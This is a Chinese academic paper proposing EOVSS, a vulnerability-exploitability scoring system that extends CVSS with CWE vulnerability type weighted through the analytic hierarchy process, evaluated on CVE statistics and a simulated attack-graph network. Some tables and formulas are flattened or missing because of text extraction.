收稿日期: 2017-06-11;

修回日期: 2017-08-03

基金项目: 国家自然科学基金项目(61572460,61272481);国家重点研发计划项目(2016YFB0800700);信息安全国家重点实验室的开放课题(2017-ZD-01);国家发改委信息安全专项项目[(2012)1424];国家111项目(B16037) This work was supported by the National Natural Science Foundation of China (61572460, 61272481), the National Key Research and Development Program of China (2016YFB0800700), the Open Project Program of the State Key Laboratory of Information Security (2017-ZD-01), the National Information Security Special Projects of National Development and Reform Commission of China [(2012)1424], and the China 111 Project (B16037).

通信作者: 张玉清(zhangyq@nipc.org.cn)

基于漏洞类型的漏洞可利用性量化评估系统

雷柯楠 1,2 张玉清 1,2 吴晨思 2 马 华 3

1 (综合业务网理论及关键技术国家重点实验室(西安电子科技大学) 西安 710071) 2 (国家计算机网络入侵防范中心(中国科学院大学) 北京 101408) 3 (西安电子科技大学数学与统计学院 西安 710071) (leikn@nipc.org.cn)

摘 要 准确量化单个漏洞可利用性是解决基于攻击路径分析网络安全态势的基础和关键,目前运用最广泛的漏洞可利用性评估系统是通用漏洞评分系统(common vulnerability scoring system, CVSS).首先利用CVSS对54 331个漏洞的可利用性进行评分,将结果进行统计分析发现CVSS评分系统存在着评分结果多样性不足,分数过于集中等问题.鉴于CVSS的不足,进一步对漏洞可利用性影响要素进行研究,研究发现漏洞类型能影响可利用性大小.因此将漏洞类型作为评估漏洞可利用性的要素之一,采用层次分析法将其进行量化,基于CVSS上提出一种更为全面的漏洞可利用性量化评估系统(exploitability of vulnerability scoring systems, EOVSS).实验证明:EOVSS具有良好的多样性,并能更准确有效地量化评估单个漏洞的可利用性.

关键词 漏洞;可利用性;漏洞类型;层次分析法;量化

随着计算机网络的发展,网络上攻击的发生频率越来越高,攻击技术也日趋增强.攻击者会利用一些漏洞之间的相互关联来进行攻击,这样不仅能增加攻击隐蔽性,还能提高攻击成功概率.例如APT攻击,它具有极强的隐蔽能力,使得防火墙、入侵检测系统等传统的安全防护手段束手无策 [1] .网络信息系统的安全日趋严重,如何度量网络安全形势是亟待解决的问题之一 [2] .利用基于攻击路径的度量机制能有效地对目标网络进行安全态势评估,分析漏洞之间的关联,为网络管理者提供一些安全建议,而基于攻击路径的安全态势评估方法依赖于每一个漏洞的可利用性大小,单个漏洞可利用的大小是解决基于攻击路径分析网络安全态势评估的重要数据依据,因此,准确量化单个漏洞可利用性就显得尤为关键和重要.

漏洞可利用性是指该漏洞被攻击者攻击和利用可能性大小,是漏洞的固有属性 [3] .它作为评估漏洞严重性的一部分,两者是从属关系,漏洞可利用性越高,说明漏洞严重程度越高,但是漏洞严重程度越高并不能代表可利用性越高.由于影响漏洞可利用性的因素有很多,而且这些因素大多数具有不确定性、复杂性 [4] ,如何从这些因素中提取关键信息并对其进行量化在网络安全态势分析中具有重要意义.

本文在通用漏洞评分系统(common vulnerability scoring system, CVSS)的基础上,对漏洞库中的大量漏洞进行统计分析后,建立了一个更为全面的漏洞可利用性评估系统(exploitability of vulnerability scoring system, EOVSS),通过实验证明,EOVSS相比于CVSS,能将相同分值漏洞进一步划分,使可利用性分值多样化,并使评估更加准确.本文的主要贡献有3个方面:

1) 利用CVSS对公共漏洞和暴露(common vulnerabilities and exposures, CVE)漏洞库中54 331个漏洞的可利用性进行评分,对结果进行统计,数据表明:CVSS评分具有多样性不足、分值过于集中等问题.

2) 分析了影响漏洞可利用性的要素,发现漏洞类型可以影响可利用性的大小,并利用层次分析法将其量化.

3) 引入漏洞类型作为一个新的可利用性评估要素,提出EOVSS,实验结果表明EOVSS具有更好的多样性和准确性.

1 相关工作

目前,多数研究主要集中于2方面:

1) 利用攻击路径来模拟网络实际安全状态并进行量化分析,最终得到网络的总体安全态势值.这些研究对如何建立网络攻击路径及分析漏洞之间的相互依赖关系进行了探讨 [5] ,却忽略了对单个漏洞可利用性量化这个基础问题.有的没有说明应该如何得到漏洞可利用性大小,仅靠单纯地观测漏洞并给出一个量化值;有的依靠CVSS来获取漏洞可利用性量化值.

有研究中提出对多阶段网络攻击的形式化描述,在此基础上建立了攻击链和攻击树并基于攻击树对攻击者到达安全目标的可能性进行量化分析 [6] ,其中,各个漏洞的可利用性大小决定了攻击者达到安全目标的可能性大小.2007年Lai等人提出了3种漏洞分析的方法 [7] ,方法之一就是利用攻击路径来分析网络上主机的安全风险值,而要获得网络上主机的安全值就必须先获得攻击路径上各漏洞的可利用值.但上述2篇文献均没有给出如何获得漏洞的可利用量化值.2014年Zhang等人在获取漏洞可利用性量化值时,在CVSS基础上增加了影响可利用性的相关指标 [8] ,但研究没有给出该指标为何会影响可利用性,并不具有说服性.还有研究者提出了利用贝叶斯网络的攻击图量化分析网络总体安全性 [9] .考虑到漏洞间的关联性和依赖性,把贝叶斯网络用于攻击图的安全分析,得到的分析结果比较符合网络攻击的实际情况.但对于攻击图中的每个节点的条件概率即漏洞的可利用性大小,仅从CVSS中获取该值,并且加入了严重性的影响,这并不能满足需求.国内研究者陆余良等人提出了一种针对主机安全性的量化融合模型 [10] .该模型基于规范的网络综合信息数据库,利用相关数学模型对漏洞进行可利用性分析,在此基础上对目标主机的安全性能进一步评估.该研究给出了漏洞可利用性的评估指标,但仅从主观角度分析,没有数据依据.

2) 对单个漏洞的严重性进行分析.20世纪末至21世纪初,定性评估漏洞等级方法迅速流行起来,IBM,Microsoft,Secunia,Symantec等大多数厂商各自从不同的角度对产品漏洞进行定性评估,但由于各自方法不一,出现了评定混乱的现象,而且定量评分方式停滞不前.2004年CVSS在这一背景下产生,建立起一套对漏洞严重性进行定量评分的方法,试图打破各个厂商评估不一的局面,美国国家漏洞数据库将CVSS作为其官方漏洞威胁评估的方法.近年来,不少安全人员对CVSS进行了改进,在CVSS的基础上,通过不同的方式去优化它.

2015年Wen等人分析了CVSS在指标取值、危害值分布、分散性和客观性方面所存在的问题 [11] ,提出了CVSS_PCA危害性评估系统,但对漏洞可利用性部分没有加以讨论;研究者在同年分析了ExpertSystem和CVSS的客观性,并基于Expert-System对CVSS进行了修正,文中对漏洞可利用性做了部分探讨 [12] ,但没有加入新的要素;Liu等人利用层次分析法量化了漏洞严重性相关要素,设计了一套新的评估系统 [13] ,但对可利用性相关要素没有进行探讨;Wang等人在研究中增加了影响漏洞严重性的相关指标 [14] ,但主观性较强,没有数据依据,不具有良好的说服性;王凯等人对如何有效挖掘安卓系统漏洞进行了总结分析,并讨论了值得进一步研究的安全问题 [15] ,但主要讲的是如何发现漏洞,对漏洞进行安全性评估在文章中篇幅较少,并且主要针对的是安卓漏洞;还有研究者提出了一种新的评估模式VRSS [16] ,主要是采用定性和定量相结合的方式去评估,有效地融合了定性评估和定量评估的优点,但该文献没有加入新的要素,仅将漏洞可利用性作为评估漏洞严重性的一小部分,没有针对漏洞可利用性进行详细分析;评估系统WIVSS [17] 是基于CVSS基础上的一种漏洞评估系统,文中首先介绍了CVSS背景及使用方法,并对CVSS做进一步改进,所采用的方式是将影响要素单项分值进行重新判定,将2个具有相同分值的要素进行进一步区分,增加了评估结果的多样性.但由于优化时没有进行大量数据的分析,从而数据依据不足,仅从人为角度判断,主观性较强.在本文第5节中也进一步做了实验对比分析.

2 CVSS介绍及分析

CVSS作为目前最为广泛使用的定量评估系统,相比于定性评估,能更客观地评估漏洞的严重程度,帮助安全人员确定所需反应的紧急度和重要度 [18] .CVSS基本群描述了影响漏洞严重性的6个固有要素,分别为访问复杂度、攻击向量、身份认证、可用性影响、完整性影响和机密性影响,这些要素在漏洞评估中起着重要作用 [19] .其中,访问复杂度、攻击向量、身份认证被用来衡量漏洞可利用性大小.本文主要针对这3个要素进行研究.

2 . 1 可利用性三要素

1) 访问复杂度赋值包括:高、中、低.

① 高.进行目标访问时存在特定的访问条件.示例:Linux kernel拒绝服务漏洞(CVE-2014-3940).

② 中.进行目标访问时存在一定的访问条件.示例:多款Oracle组件安全漏洞(CVE-2015-0383).

③ 低.进行目标访问时没有访问限制.示例:Apple TV输入验证漏洞(CVE-2014-1271).

2) 攻击向量赋值包括本地、近邻、远程.

① 本地.攻击者利用该安全漏洞时,需要物理接触攻击的系统,或者已具有一个本地账号.示例:CUCSM组件输入验证漏洞(CVE-2012-4093).

② 近邻.攻击者利用该漏洞时,需要和受攻击的系统处于一个广播或冲突域中.示例:SEP授权问题漏洞(CVE-2013-5009).

③ 远程.攻击者利用该漏洞进行攻击时,不需要获取内网访问权或本地访问权.示例:ASUS RT-AC66U多个缓冲区溢出漏洞(CVE-2013-4659).

3) 身份认证赋值包括多次、一次、不需要.

① 多次.漏洞利用需要多次身份认证.示例:Oracle MySQL Server 拒绝服务漏洞(CVE-2014-0430).

② 一次.漏洞利用需要一次身份认证.示例:PostgreSQL 基于栈的缓冲区溢出漏洞(CVE-2014-0063).

③ 不需要.漏洞利用无需身份认证.示例:Apple TV输入验证漏洞(CVE-2014-1271).

2 . 2 可利用性分值多样性及分布

为了客观准确地分析利用CVSS对漏洞可利用性的评估情况,本文作者获取了CVE漏洞库中2007—2016年公布的54 331个漏洞 [20] ,对每一个漏洞的可利用性三要素进行提取,并利用CVSS给出的评估方法计算每一个漏洞的可利用性分值.以下列出了CVSS在评估漏洞可利用性时每一种可能情况的度量标准及可利用性计算公式,如表1所示:

Table 1 Possible Values for Exploitability Metrics

表1 可利用性要素度量标准

MetricPossibleValuesHigh:0.35AccessComplexity(AC)Medium:0.61Low:0.71Local:0.395AccessVector(AV)AdjacentNetwork:0.646Network:1.0MultipleInstance:0.45Authentication(AU)SingleInstance:0.56NotRequired:0.704ExploitabilityValue20×AC×AV×AU

Fig. 1 Distribution of CVSS exploitability scores
图1 CVSS漏洞可利用性分值直方图

1) 多样性分析

漏洞评估系统的核心思想是将大量漏洞进行尽可能多的分类,便于使用者能快速区分漏洞,给安全人员提供漏洞修补顺序建议.当数据集非常大时,多样化的分值能对其进行更好的区分.我们对CVE漏洞库的54 331个漏洞可利用性分值进行了统计,如图1所示:

根据表1,CVSS漏洞可利用性分值理论上应有27种,在1.2~10分之间,分值越高,表示该漏洞本身的固有利用性越高.根据统计结果图1显示,CVE漏洞库数据集中,存在的可利用性分值共有23种,最低为1.2分,最高为10分.

2) 数据分布分析

数据集分布情况可以直观、快速地观察数据的分散程度和中心趋势.根据统计结果,利用CVSS评估的5万多个漏洞中,有4个可利用分值的样本数少于10,分别为1.2,2.0,3.5,4.1.8个漏洞可利分值的样本数大于1 000,分别是3.4,3.9,4.9,5.5,6.8,8.0,8.6,10,其中8.6,10最为居多,样本数均在2万左右,如图2所示,8.6及10所占比例较大,达的74%.

Fig. 2 Pie chart of CVSS exploitability scores
图2 CVSS漏洞可利用性分值扇形图

从上述统计我们发现,CVSS漏洞可利用性评分多样性不足,并且分值过于集中,可利用性高的漏洞数量非常大,如何将这些漏洞进行进一步划分,在网络安全态势分析中具有重要意义.

3 漏洞类型研究

3 . 1 个案分析

面对多个具有相同可利用分值的漏洞时,哪一个会更先被攻击者利用?为了进一步研究漏洞可利用性相关要素,我们对多个具有相同可利用分值的漏洞进行了分析,下面是2个实例.

1) CVE-2016-1247.Ubuntu发行版的Nginx在新建日志目录的时,使用了不安全的权限,攻击者可以从nginx/web用户权限提升到ROOT.

2) CVE-2014-3085.使用1.20.20.23447之前版本固件的IBM 1754 GCM16和GCM32 GCM交换机的systest.php脚本中存在安全漏洞,攻击者可通过“lpres” 参数中的shell元字符利用该漏洞执行任意命令.

上述2个漏洞在CVSS中可利用性评分都为3.9,然而,研究表明在实际情况中,后者能被成功利用的概率约为35.6%,前者约为31.3%,因此后者比前者更容易达到攻击目的.通过对比分析发现,两者属于不同的漏洞类型,前者属于CWE-59(link following),后者属于CWE-78(os command injec-tions).鉴于此,我们提出疑问,漏洞类型是否会影响漏洞可利用性,并在3.2节中给出分析结果.

3 . 2 漏洞类型与可利用性关系

本文采用了美国国家漏洞数据通用缺陷列表(common weak-ness enumeration, CWE)分类机制 [21] 来对漏洞类型与漏洞可利用性之间的关系进行研究.对已具分类标准的41 814个漏洞进行统计,获取到的CWE一共有69种,每个CWE代表一种漏洞类型,其中有47种CWE的样本数少于20,由于样本数过少会有较大误差,并且这些漏洞数量较少,只占全部漏洞的0.3%,所以对正确率的影响较小,我们在统计时对该47种CWE忽略不计,将余下22种CWE进行统计,共计漏洞41 727个.根据已有的分类标准 [22] 将漏洞可利用性的23个分值分为1.2~3.9,4~6.9,7~9.9,10这4个等级,分别代表B1不易利用、B2稍易利用、B3容易利用、B4极易利用.以下列出了漏洞类型及各类型中漏洞分布情况,如表2所示:

Table 2 Vulnerability Types and Exploitability Levels

表2 漏洞类型及可利用性等级

IDCWE⁃IDVulnerabilityTypesB1B1∕Ci∕%B2B2∕Ci∕%B3B3∕Ci∕%B4B4∕Ci∕%C1CWE⁃16Configuration4118.5219.56127.59944.6C2CWE⁃17CodeErrors3622.895.73723.47648.1C3CWE⁃19DataProcessing129.543.24938.96148.4C4CWE⁃20InputValidation47212.52586.8158441.8147739.0C5CWE⁃22PathTraversal472.6955.360033.5105158.6C6CWE⁃59LinkFollowing35287.671.7287.0153.7C7CWE⁃78OSCommandInjections2512.82110.87437.97538.5C8CWE⁃79Cross⁃siteScripting1312.188214.0529883.940.1C9CWE⁃89SQLInjection60.2751.962615.7326882.2C10CWE⁃94CodeInjection362.0894.996153.371839.8C11CWE⁃119BufferErrors4887.13354.9349951.2251736.8C12CWE⁃134UncontrolledFormatString1712.275.04834.56748.2C13CWE⁃189NumericErrors15312.0433.455243.252941.4C14CWE⁃200InformationLeak51918.61515.484130.2127445.7C15CWE⁃254SecurityFeature3314.0187.79841.78636.6C16CWE⁃264PermissionsControl149833.23818.4143731.8120026.6C17CWE⁃284AccessControl6415.8389.417242.413232.5C18CWE⁃287AuthenticationIssues545.6717.425226.457960.6C19CWE⁃310CryptographicIssues1277.593254.731318.433119.4C20CWE⁃352Cross⁃siteRequestForgery30.3948.2103090.0171.5C21CWE⁃362RaceConditions22861.5328.69425.3174.6C22CWE⁃399ResourceManagement28411.01325.193236.2122747.7

根据表2发现,87.6%的CWE-59漏洞可利用分布在不易利用等级中,82.2%的CWE-89分值在极易利用等级中,这说明:CWE-89类型漏洞相较于CWE-59,更容易被攻击者利用,漏洞类型对可利用性具有一定的影响.

为了增加漏洞可利用性评分结果的多样性,更全面地评估漏洞可利用性,需要增加相关指标,对现有的指标细致化.对此,根据上述统计,建议将漏洞类型作为评估可利用性的要素,从而建立一个更加完善的漏洞可利用性评分系统EOVSS.

4 EOVSS的设计与实现

4 . 1 EOVSS整体结构

EOVSS是基于CVSS上,增加漏洞类型作为可利用性评估要素的评估系统.在EOVSS中, AC , AV , AU 分别从CVSS中得到,漏洞类型(vulnerability type, VT )是新增的漏洞可利用性要素.根据文献[23]中的研究,利用对指标评分来确定指标取值,得出漏洞可利用性评价样本矩阵,建立各灰类的中心点白化函数,最终得出漏洞类型的权重可知,漏洞类型在可利用性中权重为0.1.因此将 VT 量化评分保持在0~1. AC , AV , AU 的权重为0.9,将CVSS中系数20设为18.这样 EOVSS与CVSS评分系统能保持单项分0~1和总分0~10一致性,方便安全人员的利用.最终可利用性计算为

EOVSS score =18× AC × AV × AU + VT .

(1)

4 . 2 层次分析法

层次分析法(analytic hierarchy process, AHP)是一种层次权重决策分析方法,能有效处理决策问题.AHP将决策问题分为目标、准则、措施3个层次,每一层有若干元素,通过比较确定同层之间元素对上一级单个元素的权重,来确定各措施方案对目标的权重.根据层次分析法中的特征向量法确定权重向量的理论中,建立判断矩阵并由此求下层因素对上层某一因素的权重向量是一个重要环节.目前,从判断矩阵的一致性角度来确定权重向量的方法已有10几种,特征向量法(即求判断矩阵最大特征跟对应的特征向量作为权重向量)就是其中在算法上比较成熟和稳定的一种.本文即采用特征向量法来确定权重.

主要步骤如下:

1) 建立递阶层次结构.

2) 构造两两比较判别矩阵.对各指标之间进行两两对比,即每次取2个因子 x i x j ,以 a i j 表示 x i x j Z 的影响大小之比.对于如何确定 a i j 的值,Saaty等人给出了引用数字作为标度,按9分位比例排定各评价指标的相对优劣顺序,依次构造出评价指标的判断矩阵 A .

3) 一致性检验.当判断矩阵的阶数时,通常难以构造出满足一致性的矩阵来,但判断矩阵偏离一致性条件又应有一个度,因此,必须对判断矩阵是否可接受进行鉴别,鉴别步骤如下.

① 计算一致性指标 CI :

CI = ;

(2)

② 查找文献[24]相应的平均随机一致性指标 RI ;

③ 计算一致性比例 CR

CR = CI RI ,

(3)

CR <0.10时,认为判断矩阵的一致性是可以接受的,否则应对判断矩阵作适当修正.

4 . 3 基于AHP的VT量化

漏洞类型对可利用性的影响可以被看作是一个决策问题,所以我们采用AHP来量化 VT .

根据AHP的计算过程,第1步构造以漏洞类型划分的AHP模型,确定了目标层、准则层和决策层,如图3所示.目标层为漏洞可利用性,从上文分析已知,CVSS的分值有23种且分部非常集中,因此在保证准确率的前提下,为了简化计算方便使用,可将22×23阶矩阵简化22×4阶矩阵.将4个准则群组标记为B1:不易利用;B2:稍易利用;B3:容易利用;B4:极易利用,22个漏洞类型的决策层标记为Id1~Id22.

Fig. 3 Vulnerability type factors hierarchy model
图3 漏洞类型层次化模型

第2步构造准则层对目标层的判断矩阵如下:

B1B2B3B4B111∕31∕51∕9B2311∕31∕6B35311∕4B49641

计算矩阵最大特征向量为

(0.0447 0.1031 0.1153 0.6240) T

进行一致性检验,得 CR =0.046<0.1,判断矩阵一致性可接受.

第3步构造决策层元素对准则层的判断矩阵.决策层为22种漏洞类型,构造漏洞类型对不易利用B1影响的22阶判断矩阵,如表3所示.利用Matlab计算出最大特征向量为

( 0.055 9 0.055 9 0.020 3 0.034 0 0.012 8 0.220 9

0.034 0 0.012 8 0.012 8 0.012 8 0.020 3 0.034 0

0.034 0 0.055 9 0.034 0 0.083 1 0.034 0 0.020 3

0.020 3 0.012 8 0.145 1 0.034 0) T .

由一致性检测可得 CR =0.014<0.1,一致性可接受.通过同样的方法,构造漏洞类型对稍易利用B2、容易利用B3、极易利用B4的判断矩阵,分别计算最大特征向量及进行一致性检测,判断结果都可接受.上述2步分别是第2层各元素对第1层相对重要性的排序权值,及第3层各个元素对第2层单个因素相对重要性的排序权值.最后,为了得到漏洞类型对可利用性影响量化结果,还需计算措施层对目标层的总排序结果,这可以由上一层次总排序的权重值与本层次的单排序权重复而成,如表4所示,对于上述0.3%被剔除的漏洞,为了减小误差,使数据更完善以及更具客观性,针对以上被剔除的漏洞,其 VT 为整体 VT 的平均值,

VT = .

(4)

Table 3 The Pairwise Comparison Matrix of Alternatives

表3 成对比较矩阵

IDID123456789101112131415161718192021221113241∕62444322121∕223341∕422113241∕62444322121∕223341∕4231∕31∕311∕221∕81∕222211∕21∕21∕31∕21∕41∕21121∕61∕241∕21∕22131∕713332111∕211∕312231∕5151∕41∕41∕21∕311∕91∕31111∕21∕31∕31∕41∕31∕51∕31∕21∕211∕71∕36668791799987767578893771∕21∕22131∕713332111∕211∕312231∕5181∕41∕41∕21∕311∕91∕31111∕21∕31∕31∕41∕31∕51∕31∕21∕211∕71∕391∕41∕41∕21∕311∕91∕31111∕21∕31∕31∕41∕31∕51∕31∕21∕211∕71∕3101∕41∕41∕21∕311∕91∕31111∕21∕31∕31∕41∕31∕51∕31∕21∕211∕71∕3111∕31∕311∕221∕81∕222211∕21∕21∕31∕21∕41∕21121∕61∕2121∕21∕22131∕713332111∕211∕312231∕51131∕21∕22131∕713332111∕211∕312231∕5114113241∕62444322121∕223341∕42151∕21∕22131∕713332111∕211∕312231∕5116224351∕5355543323134451∕33171∕21∕22131∕713332111∕211∕312231∕51181∕31∕311∕221∕81∕222211∕21∕21∕31∕21∕41∕21121∕61∕2191∕31∕311∕221∕81∕222211∕21∕21∕31∕21∕41∕21121∕61∕2201∕41∕41∕21∕311∕91∕31111∕21∕31∕31∕41∕31∕51∕31∕21∕211∕71∕321446571∕35777655453566715221∕21∕22131∕713332111∕211∕312231∕51

Table 4 Summary of AHP Preferences

表4 AHP统计结果

IDCWE⁃IDVulnerabilityTypesB10.0477B20.1031B30.2253B40.6240TotalWeightVT1CWE⁃16Configuration0.05590.04870.01710.0530.04460.212CWE⁃17CodeErrors0.05590.0270.01710.0530.04240.193CWE⁃19DataProcessing0.02030.01610.04580.0530.04600.224CWE⁃20InputValidation0.0340.04870.04580.02580.03310.125CWE⁃22PathTraversal0.01280.0270.02750.09980.07190.446CWE⁃59LinkFollowing0.22090.01610.00870.0080.01910.007CWE⁃78OSCommandInjections0.0340.08040.04580.02580.03630.148CWE⁃79Cross⁃siteScripting0.01280.08040.17180.0080.05260.289CWE⁃89SQLInjection0.01280.01610.01090.21470.13871.0010CWE⁃94CodeInjection0.01280.0270.07260.02580.03590.1411CWE⁃119BufferErrors0.02030.0270.07260.02580.03620.1412CWE⁃134UncontrolledFormatString0.0340.0270.02750.0530.04370.2113CWE⁃189NumericErrors0.0340.01610.04580.0530.04670.2314CWE⁃200InformationLeak0.05590.0270.02750.0530.04470.2115CWE⁃254SecurityFeature0.0340.04870.04580.02580.03310.1216CWE⁃264PermissionsControl0.08310.04870.02750.01430.02410.0417CWE⁃284AccessControl0.0340.04870.04580.02580.03310.1218CWE⁃287AuthenticationIssues0.02030.04870.01710.09980.07210.4419CWE⁃310CryptographicIssues0.02030.19690.01090.01430.03260.1120CWE⁃352Cross⁃siteRequestForgery0.01280.04870.17180.0080.04930.2521CWE⁃362RaceConditions0.14510.04870.01710.0080.02080.0122CWE⁃399ResourceManagement0.0340.0270.02750.0530.04370.21

5 实验及分析

5 . 1 EOVSS多样性及分布

Fig. 4 Distribution of EOVSS exploitability scores
图4 EOVSS漏洞可利用性分值分布图

为了和CVSS评分进行对比,我们将第2节54 331个漏洞利用EOVSS进行评分并统计.

1) 多样性分析

最终统计结果如图4所示,EOVSS漏洞可利用性分值共计66种,分值在1.4~10分之间,分值越高,表示该漏洞本身的固有利用率越高.相较于CVSS的23种分值(如图1所示),EOVSS将一部分CVSS分值相同的漏洞进行了进一步的划分,具有更多样化的评分结果,可供安全人员更好地评估漏洞可利用性.

2) 数据分布分析

漏洞分布扇形图如图5所示:

Fig. 5 Distribution of EOVSS exploitability scores
图5 EOVSS漏洞可利用性分值扇形图

从图5我们可以看出,EOVSS可利用性分值分布更为广泛,不过还是有集中个数较大的,例如:8分有6 142个样本数、8.2分有5 292个样本数、9.1分有5 336个样本数,但是相比于CVSS存在2万样本集在同一分值(如图2所示),EOVSS已大幅度优化.多样性的分值有利于安全人员对漏洞可利用性的评判,进一步区分漏洞可利用性相近的漏洞.

5 . 2 基于攻击图的EOVSS准确率

根据文献[25]中基于攻击路径评估网络安全态势,生成漏洞关系利用图,并根据漏洞间关系获取全局漏洞列表,评估网络安全态势.为了进行对比分析,漏洞可利用性量化值通过文献[17]中量化方法WIVSS,CVSS,EOVSS这3种评估方式得到.

5.2.1 实验环境

本文搭建网络环境如图6所示,网络环境中存在5台主机、2层防火墙以及2个路由器,实验假设路由器和防火墙2种设备不存在漏洞.各节点信息及存在漏洞如表5所示.

Fig. 6 The network environment
图6 实验网络环境

Table 5 The Nodes and Vulnerabilities Information

表5 节点及漏洞信息

NodeNameNodeIDCVECVEDescriptionAttacker192.168.1.1WebServer192.168.3.2A:CVE⁃2014⁃2130B:CVE⁃2014⁃1443AccesstoWebserveradministratorprivileges.AnycodecanbeexecutedontheWebserver.FTPServer192.168.3.3C:CVE⁃2013⁃2193D:CVE⁃2013⁃1091GettheuserpasswordontheFTPserver.AnycodecanbeexecutedontheFTPserver.User192.168.2.2E:CVE⁃2006⁃3747F:CVE⁃2009⁃4873Sensitiveinformationisavailable.Beabletoraisepermissionstologinasanadministrator.SMTPServer192.168.4.2G:CVE⁃2014⁃4076Getadministratorprivileges.

内网部分有Web服务器,运行互联网信息服务(Internet information services, IIS)服务;SMTP服务器,运行Sendmail服务;FTP服务器,为外网提供Serv-U服务;普通用户User,为了与外网进行通信,运行远程过程调用协议(remote produce call protocol, RPCP)服务,并且可以访问Web服务器以及FTP服务器.其中,Web服务器、FTP服务器、SMTP服务器为Linux系统,User主机为Windows系统.外网部分为攻击者所在网络,可以与内网进行通信,若攻击者想要成功获取STMP服务器上某用户的邮件信息,首先需要获取到SMTP服务器管理员权限.防火墙对网络行为进行了限制,外网可与FTP、Web服务器及User进行连接,SMTP服务器仅能通过Web服务器进行连接.

5.2.2 实验过程及结果分析

根据文献[25]生成方法生成实验环境漏洞关系利用图,并得出实验环境中共存在5条攻击路径(如图7所示),分别为:

R 1 :Attacker- E - A - G -Target;

R 2 :Attacker- E - B - G -Target;

R 3 :Attacker- F - C - B - G -Target;

R 4 :Attacker- D - C - B - G -Target;

R 5 :Attacker- B - G -Target.

Fig. 7 The relationship of vulnerability
图7 漏洞关系图

利用文献[26]给出的公式计算漏洞被成功利用概率 P = E × S S 代表漏洞间选择性量化值,该文献中已给出计算方法. E 为漏洞可利用概率,CVSS在定义量化分值时,漏洞可利用性得分与漏洞可利用概率为线性关系,即分值为10即固有可利用概率为1,分值为5分即可利用概率为0.5.因此,漏洞固有可利用概率可分别从WIVSS,CVSS,EOVSS这3种方式得到.最终所得结果如表6所示.

在利用攻击路径的网络安全态势分析中,攻击者能成功攻击目标是由每一条的攻击路径成功概率组成,而每一条攻击路径的成功概率是由该路径上每一个漏洞节点被成功利用的概率相乘得到 [26] .表6中我们已经利用3种评分标准得出了不同的漏洞被成功利用概率 P ,接下来我们将计算每一条攻击路径能成功攻击的概率.为了对比实验数据准确性,我们构建了实验环境进行大量模拟攻击测试,通过模拟攻击测试来得到实际概率,并利用实际概率来获得实际情况下攻击成功的概率 Actual ,与上述计算结果进行对比,通过5条路径来计算平均准确率,得出评估系统的准确性.计算结果及测试数据如表7所示.其中 Accuracy 是准确率, S 为标准差.

Table 6 The Probability of Vulnerability Exploitability and Being Used Probability

表6 漏洞可利用率及被成功利用率

CVE⁃IdE1E2E3SP1P2P3A0.700.80.720.290.2030.2320.209B0.780.80.730.6380.4980.510.466C0.350.320.3310.350.320.33D0.9210.9110.9210.91E0.550.490.5610.550.490.56F0.8910.9110.8910.91G0.380.390.360.40.1520.1560.144

Table 7 Results and Comparison

表7 实验结果及对比分析

MethodRouteR1R2R3R4R5Accuracy∕%SWIVSS0.01700.04160.02360.02240.075690.60.0017CVSS0.01770.03900.02550.02550.079688.20.0021EOVSS0.01680.03760.02010.02010.067192.50.0010Reality0.01650.03620.02180.02230.0705

如表7所示,WIVSS的准确率虽然比CVSS高,但是文中只凭主观判断来确定漏洞可利用性要素,没有实验数据,不具说服力.EOVSS中,将漏洞类型作为可利用要素之一有数据依据,更具说服力,实验结果也表明:EOVSS的准确性高,标准差低,评分结果比较稳定.

5 . 3 EOVSS整体准确率

5.2节通过基于攻击图实验说明单个漏洞可利用性的评分状况,证明在利用攻击图对网络安全态势分析研究中,EOVSS对单个漏洞可利用性的量化评估准确率更高.由于5.2节是漏洞仅在特定环境下的部署,为了更具说服性以及客观性,采取文献[27]方式,选取了分布各分值的2 000个漏洞作为样本,对其进行大量渗透测试,得出漏洞固有可利用概率并与CVSS,WIVSS,EOVSS进行对比.结果如图8所示.

由图8可知,EOVSS与实际情况的拟合度比CVSS和WIVSS高,因此,基于CVSS基础上,加入漏洞类型这一要素进行漏洞可利用性评估结果更符合实际情况,EOVSS具有更好的准确性.

Fig. 8 Three systems for scoring the exploitability of vulnerability distributions fitting
图8 3种漏洞可利用性评估系统拟合图

6 分析与讨论

第5节通过数据统计及实验分别从个例和整体分析了EOVSS的评估效果.为了更直观地对比3种评估系统,本节将做进一步说明.表8为3种评估系统总结对比详情.

Table 8 Details of Three Systems

表8 3种评估系统详情

MethodNumberofResultsAccuracy∕%AdvantageDisadvantageCVSS2388.2Convenientcalculation;OfficialLowaccuracy;LackofdiversityEOVSS6692.5Convenientcalculation;Diversification;Highaccuracy;ObjectivityOnlyaddoneimpactWIVSS5090.6DiversificationSubjective

现有阶段对漏洞可利用性研究还不够全面,但基于攻击图对网络态势进行分析的研究是当前的热点,如何给基于攻击图分析网络安全态势提供客观准确的评估依据也成为现如今亟待解决的问题之一.

本文仅从增加要素的角度去考虑,研究证明了漏洞类型是可以影响漏洞可利用性的.但在现实网络情况中,漏洞随着网络环境、时间推移也会发生相应的变化.影响漏洞可利用性要素不局限于漏洞类型,还可能受其他因素影响,不仅漏洞本身的属性会影响漏洞可利用性,外界网络环境也会影响可利用性,例如攻击工具的完善程度、是否存在相应的补丁、防火墙路由器设施完备性等.

基于上述分析,一方面对于漏洞本身属性,如何准确提取出影响要素以及客观地进行量化是漏洞可利用性研究的重点.另一方面,对于环境变量因素,如何在不同的网络环境中对漏洞可利用性进行评估是研究的难点.本文作者仅对漏洞类型这一要素进行了研究,还存在着不足.下一步的研究工作主要有3个方面:

1) 对漏洞可利用性影响要素进行进一步的分析,能通过数据依据提取出相关影响要素,使结论具有一定的客观依据.

2) 利用更有效的数学方法对影响要素进行量化,从而进一步完善EOVSS.

3) 在不同的网络环境下对EOVSS进行检测,并考虑环境变量因素,使EOVSS能更符合如今复杂的网络环境.

7

本文首先对54331个漏洞的CVSS可利用性分值进行分析,可知评分系统存在分值不够多样化等不足.为了优化评分系统,对漏洞可利用性要素进行分析,发现漏洞类型影响可利用性,因此,将其作为评分要素之一,通过AHP方法将漏洞类型进行量化,在CVSS基础上改进成为新的评分标准EOVSS.实验证明,EOVSS具有良好的多样性以及更高的准确性,能为安全人员提供更好的服务.

参考文献

[1] Liu Qixu, Zhang Chongbing, Zhang Yuqing, et al. Research on key technology of vulnerability threat classification[J]. Journal on Communications, 2012, 33(Z1): 79-87 (in Chinese)

(刘奇旭, 张翀斌, 张玉清, 等. 安全漏洞等级划分关键技术研究[J]. 通信学报, 2012, 33(Z1): 79-87)

[2] Acemoglu D, Malekian A, Ozdaglar A. Network security and contagion[J]. Journal of Economic Theory, 2016, 42(3): 38-48
